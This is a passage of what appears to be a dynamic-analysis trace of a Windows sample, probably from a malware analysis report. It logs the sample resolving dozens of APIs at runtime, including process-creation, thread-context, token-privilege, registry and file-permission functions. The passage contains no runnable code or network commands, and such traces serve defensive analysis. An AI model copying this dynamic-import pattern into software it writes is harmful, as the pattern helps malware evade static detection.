hHeap=0x2670000) returned 1 [0272.356] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26ef6b0 [0272.356] GetProcAddress (hModule=0x74560000, lpProcName="VirtualProtect") returned 0x74576a30 [0272.356] lstrlenA (lpString="VirtualProtect") returned 14 [0272.356] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.356] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x14) returned 0x26ef6b0 [0272.356] GetProcAddress (hModule=0x74560000, lpProcName="WaitForSingleObject") returned 0x745ceca0 [0272.374] lstrlenA (lpString="WaitForSingleObject") returned 19 [0272.374] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.374] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26ef6b0 [0272.374] GetProcAddress (hModule=0x74560000, lpProcName="SetLastError") returned 0x74574f00 [0272.374] lstrlenA (lpString="SetLastError") returned 12 [0272.374] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.374] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x15) returned 0x26ef6b0 [0272.374] GetProcAddress (hModule=0x74560000, lpProcName="GetCurrentDirectoryA") returned 0x74574e60 [0272.374] lstrlenA (lpString="GetCurrentDirectoryA") returned 20 [0272.374] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.374] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x15) returned 0x26ef6b0 [0272.375] GetProcAddress (hModule=0x74560000, lpProcName="SetCurrentDirectoryA") returned 0x74576480 [0272.375] lstrlenA (lpString="SetCurrentDirectoryA") returned 20 [0272.375] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.375] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26ef6b0 [0272.375] GetProcAddress (hModule=0x74560000, lpProcName="CreateProcessA") returned 0x745745b0 [0272.375] lstrlenA (lpString="CreateProcessA") returned 14 [0272.375] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.375] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x13) returned 0x26ef6b0 [0272.375] GetProcAddress (hModule=0x74560000, lpProcName="GetModuleFileNameA") returned 0x74575070 [0272.375] lstrlenA (lpString="GetModuleFileNameA") returned 18 [0272.375] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.375] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26ef6b0 [0272.375] GetProcAddress (hModule=0x74560000, lpProcName="SetFilePointer") returned 0x745cf120 [0272.375] lstrlenA (lpString="SetFilePointer") returned 14 [0272.375] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.375] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26ef6b0 [0272.376] GetProcAddress (hModule=0x74560000, lpProcName="SetEndOfFile") returned 0x745cf0e0 [0272.376] lstrlenA (lpString="SetEndOfFile") returned 12 [0272.376] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.376] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26ef6b0 [0272.376] GetProcAddress (hModule=0x74560000, lpProcName="FindFirstFileA") returned 0x745cedb0 [0272.376] lstrlenA (lpString="FindFirstFileA") returned 14 [0272.376] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.376] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26ef6b0 [0272.376] GetProcAddress (hModule=0x74560000, lpProcName="FindNextFileA") returned 0x745cee20 [0272.376] lstrlenA (lpString="FindNextFileA") returned 13 [0272.376] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.376] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26ef6b0 [0272.376] GetProcAddress (hModule=0x74560000, lpProcName="FindClose") returned 0x745ced70 [0272.376] lstrlenA (lpString="FindClose") returned 9 [0272.376] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.377] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26ef6b0 [0272.377] GetProcAddress (hModule=0x74560000, lpProcName="CreateFileA") returned 0x745ced00 [0272.377] lstrlenA (lpString="CreateFileA") returned 11 [0272.377] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.377] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26ef6b0 [0272.377] GetProcAddress (hModule=0x74560000, lpProcName="CreateFileW") returned 0x745ced10 [0272.377] lstrlenA (lpString="CreateFileW") returned 11 [0272.377] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.377] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26ef6b0 [0272.377] GetProcAddress (hModule=0x74560000, lpProcName="ReadFile") returned 0x745cf090 [0272.377] lstrlenA (lpString="ReadFile") returned 8 [0272.378] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.378] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26ef6b0 [0272.378] GetProcAddress (hModule=0x74560000, lpProcName="WriteFile") returned 0x745cf180 [0272.378] lstrlenA (lpString="WriteFile") returned 9 [0272.378] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.378] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26ef6b0 [0272.378] GetProcAddress (hModule=0x74560000, lpProcName="CloseHandle") returned 0x745ceab0 [0272.378] lstrlenA (lpString="CloseHandle") returned 11 [0272.378] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.378] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26ef6b0 [0272.378] GetProcAddress (hModule=0x74560000, lpProcName="DeleteFileA") returned 0x745ced30 [0272.378] lstrlenA (lpString="DeleteFileA") returned 11 [0272.379] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.379] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26ef6b0 [0272.379] GetProcAddress (hModule=0x74560000, lpProcName="LoadLibraryA") returned 0x74575a80 [0272.379] lstrlenA (lpString="LoadLibraryA") returned 12 [0272.379] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.379] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x13) returned 0x26ef6b0 [0272.379] GetProcAddress (hModule=0x74560000, lpProcName="GetCurrentThreadId") returned 0x74578820 [0272.379] lstrlenA (lpString="GetCurrentThreadId") returned 18 [0272.379] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.379] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26ef6b0 [0272.379] GetProcAddress (hModule=0x74560000, lpProcName="MoveFileA") returned 0x745ae410 [0272.379] lstrlenA (lpString="MoveFileA") returned 9 [0272.379] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.380] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26ef6b0 [0272.380] GetProcAddress (hModule=0x74560000, lpProcName="LocalFree") returned 0x74575b40 [0272.380] lstrlenA (lpString="LocalFree") returned 9 [0272.380] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.380] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x11) returned 0x26ef6b0 [0272.380] GetProcAddress (hModule=0x74560000, lpProcName="CreateDirectoryA") returned 0x745cecd0 [0272.380] lstrlenA (lpString="CreateDirectoryA") returned 16 [0272.380] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.380] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x16) returned 0x26ef6b0 [0272.380] GetProcAddress (hModule=0x74560000, lpProcName="GetVolumeInformationW") returned 0x745cf020 [0272.380] lstrlenA (lpString="GetVolumeInformationW") returned 21 [0272.380] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.380] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26ef6b0 [0272.381] GetProcAddress (hModule=0x74560000, lpProcName="CreateThread") returned 0x745746b0 [0272.381] lstrlenA (lpString="CreateThread") returned 12 [0272.381] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.381] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x26ef6b0 [0272.381] GetProcAddress (hModule=0x74560000, lpProcName="OpenThread") returned 0x74575ce0 [0272.381] lstrlenA (lpString="OpenThread") returned 10 [0272.381] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.381] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x1a) returned 0x26ef6b0 [0272.381] GetProcAddress (hModule=0x74560000, lpProcName="ExpandEnvironmentStringsW") returned 0x74574a40 [0272.381] lstrlenA (lpString="ExpandEnvironmentStringsW") returned 25 [0272.381] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.381] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x11) returned 0x26ef6b0 [0272.381] GetProcAddress (hModule=0x74560000, lpProcName="VirtualProtectEx") returned 0x74576a50 [0272.382] lstrlenA (lpString="VirtualProtectEx") returned 16 [0272.382] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.382] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x13) returned 0x26ef6b0 [0272.382] GetProcAddress (hModule=0x74560000, lpProcName="GetFileAttributesW") returned 0x745cef10 [0272.382] lstrlenA (lpString="GetFileAttributesW") returned 18 [0272.382] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.382] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26ef6b0 [0272.382] GetProcAddress (hModule=0x74560000, lpProcName="FindResourceA") returned 0x745b27c0 [0272.382] lstrlenA (lpString="FindResourceA") returned 13 [0272.382] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.382] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26ef6b0 [0272.382] GetProcAddress (hModule=0x74560000, lpProcName="SizeofResource") returned 0x74576740 [0272.382] lstrlenA (lpString="SizeofResource") returned 14 [0272.383] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.383] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26ef6b0 [0272.383] GetProcAddress (hModule=0x74560000, lpProcName="LoadResource") returned 0x74575b00 [0272.383] lstrlenA (lpString="LoadResource") returned 12 [0272.383] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.383] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26ef6b0 [0272.383] GetProcAddress (hModule=0x74560000, lpProcName="CreateProcessW") returned 0x74574610 [0272.383] lstrlenA (lpString="CreateProcessW") returned 14 [0272.383] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.383] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x17) returned 0x26ef6b0 [0272.383] GetProcAddress (hModule=0x74560000, lpProcName="CreateProcessInternalW") returned 0x745745f0 [0272.383] lstrlenA (lpString="CreateProcessInternalW") returned 22 [0272.383] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.383] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x1b) returned 0x26ef6b0 [0272.384] GetProcAddress (hModule=0x74560000, lpProcName="InterlockedCompareExchange") returned 0x745773a0 [0272.384] lstrlenA (lpString="InterlockedCompareExchange") returned 26 [0272.384] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.384] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x11) returned 0x26ef6b0 [0272.384] GetProcAddress (hModule=0x74560000, lpProcName="GetThreadContext") returned 0x74575580 [0272.384] lstrlenA (lpString="GetThreadContext") returned 16 [0272.384] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.384] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26ef6b0 [0272.384] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x777e0000 [0272.384] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x19) returned 0x26ef6c8 [0272.384] GetProcAddress (hModule=0x777e0000, lpProcName="ZwQueryInformationThread") returned 0x77851f60 [0272.384] lstrlenA (lpString="ZwQueryInformationThread") returned 24 [0272.384] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6c8 | out: hHeap=0x2670000) returned 1 [0272.384] lstrlenA (lpString="ntdll.dll") returned 9 [0272.384] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.385] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26ef6b0 [0272.385] GetProcAddress (hModule=0x777e0000, lpProcName="RtlGetVersion") returned 0x7780fff0 [0272.385] lstrlenA (lpString="RtlGetVersion") returned 13 [0272.385] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.385] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26ef6b0 [0272.385] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x77230000 [0272.385] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x16) returned 0x26ef6c8 [0272.385] GetProcAddress (hModule=0x77230000, lpProcName="AdjustTokenPrivileges") returned 0x7724ffa0 [0272.385] lstrlenA (lpString="AdjustTokenPrivileges") returned 21 [0272.385] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6c8 | out: hHeap=0x2670000) returned 1 [0272.385] lstrlenA (lpString="advapi32.dll") returned 12 [0272.385] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.385] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26ef6b0 [0272.385] GetProcAddress (hModule=0x77230000, lpProcName="RegOpenKeyExA") returned 0x7724f210 [0272.385] lstrlenA (lpString="RegOpenKeyExA") returned 13 [0272.386] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.386] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x10) returned 0x26ef6b0 [0272.386] GetProcAddress (hModule=0x77230000, lpProcName="RegCreateKeyExA") returned 0x7724f560 [0272.386] lstrlenA (lpString="RegCreateKeyExA") returned 15 [0272.386] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.386] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x11) returned 0x26ef6b0 [0272.386] GetProcAddress (hModule=0x77230000, lpProcName="RegQueryInfoKeyA") returned 0x7724fe20 [0272.386] lstrlenA (lpString="RegQueryInfoKeyA") returned 16 [0272.386] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.386] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26ef6b0 [0272.386] GetProcAddress (hModule=0x77230000, lpProcName="RegEnumValueA") returned 0x77251940 [0272.386] lstrlenA (lpString="RegEnumValueA") returned 13 [0272.386] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.386] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26ef6b0 [0272.387] GetProcAddress (hModule=0x77230000, lpProcName="RegEnumKeyExA") returned 0x77251960 [0272.387] lstrlenA (lpString="RegEnumKeyExA") returned 13 [0272.387] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.387] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26ef6b0 [0272.387] GetProcAddress (hModule=0x77230000, lpProcName="RegSetValueExA") returned 0x7724ffc0 [0272.387] lstrlenA (lpString="RegSetValueExA") returned 14 [0272.387] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.387] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x11) returned 0x26ef6b0 [0272.387] GetProcAddress (hModule=0x77230000, lpProcName="RegQueryValueExA") returned 0x7724f020 [0272.387] lstrlenA (lpString="RegQueryValueExA") returned 16 [0272.387] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.387] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26ef6b0 [0272.387] GetProcAddress (hModule=0x77230000, lpProcName="RegCloseKey") returned 0x7724ed60 [0272.387] lstrlenA (lpString="RegCloseKey") returned 11 [0272.387] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.387] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x10) returned 0x26ef6b0 [0272.388] GetProcAddress (hModule=0x77230000, lpProcName="RegDeleteValueA") returned 0x772507a0 [0272.388] lstrlenA (lpString="RegDeleteValueA") returned 15 [0272.388] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.388] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x19) returned 0x26ef6b0 [0272.388] GetProcAddress (hModule=0x77230000, lpProcName="AllocateAndInitializeSid") returned 0x7724f440 [0272.388] lstrlenA (lpString="AllocateAndInitializeSid") returned 24 [0272.388] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.388] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x11) returned 0x26ef6b0 [0272.389] GetProcAddress (hModule=0x77230000, lpProcName="SetEntriesInAclA") returned 0x772536e0 [0272.389] lstrlenA (lpString="SetEntriesInAclA") returned 16 [0272.389] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.389] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x16) returned 0x26ef6b0 [0272.389] GetProcAddress (hModule=0x77230000, lpProcName="SetNamedSecurityInfoA") returned 0x772534a0 [0272.389] lstrlenA (lpString="SetNamedSecurityInfoA") returned 21 [0272.389] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.389] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x11) returned 0x26ef6b0 [0272.389] GetProcAddress (hModule=0x77230000, lpProcName="SetFileSecurityW") returned 0x77250920 [0272.389] lstrlenA (lpString="SetFileSecurityW") returned 16 [0272.389] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.389] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef6b0 [0272.389] GetProcAddress (hModule=0x77230000, lpProcName="FreeSid") returned 0x7724fa80 [0272.389] lstrlenA (lpString="FreeSid") returned 7 [0272.389] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.390] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x12) returned 0x26ef6b0 [0272.390] GetProcAddress (hModule=0x77230000, lpProcName="LookupAccountSidA") returned 0x772750b0 [0272.390] lstrlenA (lpString="LookupAccountSidA") returned 17 [0272.390] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.390] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x12) returned 0x26ef6b0 [0272.390] GetProcAddress (hModule=0x77230000, lpProcName="LookupAccountSidW") returned 0x7724f100 [0272.390] lstrlenA (lpString="LookupAccountSidW") returned 17 [0272.390] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.390] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x15) returned 0x26ef6b0 [0272.390] GetProcAddress (hModule=0x77230000, lpProcName="CreateProcessAsUserW") returned 0x77250690 [0272.390] lstrlenA (lpString="CreateProcessAsUserW") returned 20 [0272.390] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.390] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26ef6b0 [0272.390] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x74720000 [0272.390] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26ef6c8 [0272.391] GetProcAddress (hModule=0x74720000, lpProcName="ShellExecuteW") returned 0x748842e0 [0272.391] lstrlenA (lpString="ShellExecuteW") returned 13 [0272.391] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6c8 | out: hHeap=0x2670000) returned 1 [0272.391] lstrlenA (lpString="shell32.dll") returned 11 [0272.391] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.391] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x26ef6b0 [0272.391] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76850000 [0272.391] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26ef6c8 [0272.391] GetProcAddress (hModule=0x76850000, lpProcName="EnumWindows") returned 0x7686a3c0 [0272.391] lstrlenA (lpString="EnumWindows") returned 11 [0272.391] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6c8 | out: hHeap=0x2670000) returned 1 [0272.391] lstrlenA (lpString="user32.dll") returned 10 [0272.391] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.391] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26ef6b0 [0272.391] LoadLibraryA (lpLibFileName="shlwapi.dll") returned 0x76bd0000 [0272.392] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26ef6c8 [0272.392] GetProcAddress (hModule=0x76bd0000, lpProcName="StrStrIA") returned 0x76be8370 [0272.392] lstrlenA (lpString="StrStrIA") returned 8 [0272.392] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6c8 | out: hHeap=0x2670000) returned 1 [0272.392] lstrlenA (lpString="shlwapi.dll") returned 11 [0272.392] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.392] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26ef6b0 [0272.392] GetProcAddress (hModule=0x76bd0000, lpProcName="StrStrIW") returned 0x76be4390 [0272.392] lstrlenA (lpString="StrStrIW") returned 8 [0272.392] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.392] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26ef6b0 [0272.392] GetProcAddress (hModule=0x76bd0000, lpProcName="StrCmpIW") returned 0x76be1660 [0272.392] lstrlenA (lpString="StrCmpIW") returned 8 [0272.392] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.392] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26ef6b0 [0272.393] GetProcAddress (hModule=0x76bd0000, lpProcName="PathCombineA") returned 0x76bebf40 [0272.393] lstrlenA (lpString="PathCombineA") returned 12 [0272.393] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.393] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26ef6b0 [0272.393] GetProcAddress (hModule=0x76bd0000, lpProcName="PathCombineW") returned 0x76be8890 [0272.393] lstrlenA (lpString="PathCombineW") returned 12 [0272.393] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.393] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26ef6b0 [0272.393] GetProcAddress (hModule=0x76bd0000, lpProcName="PathMatchSpecA") returned 0x76bec2a0 [0272.393] lstrlenA (lpString="PathMatchSpecA") returned 14 [0272.393] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.393] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26ef6b0 [0272.393] GetProcAddress (hModule=0x76bd0000, lpProcName="PathMatchSpecW") returned 0x76bec300 [0272.393] lstrlenA (lpString="PathMatchSpecW") returned 14 [0272.393] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.394] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x13) returned 0x26ef6b0 [0272.394] GetProcAddress (hModule=0x76bd0000, lpProcName="PathUnquoteSpacesW") returned 0x76be4a50 [0272.394] lstrlenA (lpString="PathUnquoteSpacesW") returned 18 [0272.394] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.394] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26ef6b0 [0272.394] GetProcAddress (hModule=0x76bd0000, lpProcName="StrTrimW") returned 0x76be7300 [0272.394] lstrlenA (lpString="StrTrimW") returned 8 [0272.394] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.394] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26ef6b0 [0272.394] GetProcAddress (hModule=0x76bd0000, lpProcName="StrCmpNIA") returned 0x76beca70 [0272.394] lstrlenA (lpString="StrCmpNIA") returned 9 [0272.394] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef6b0 | out: hHeap=0x2670000) returned 1 [0272.394] 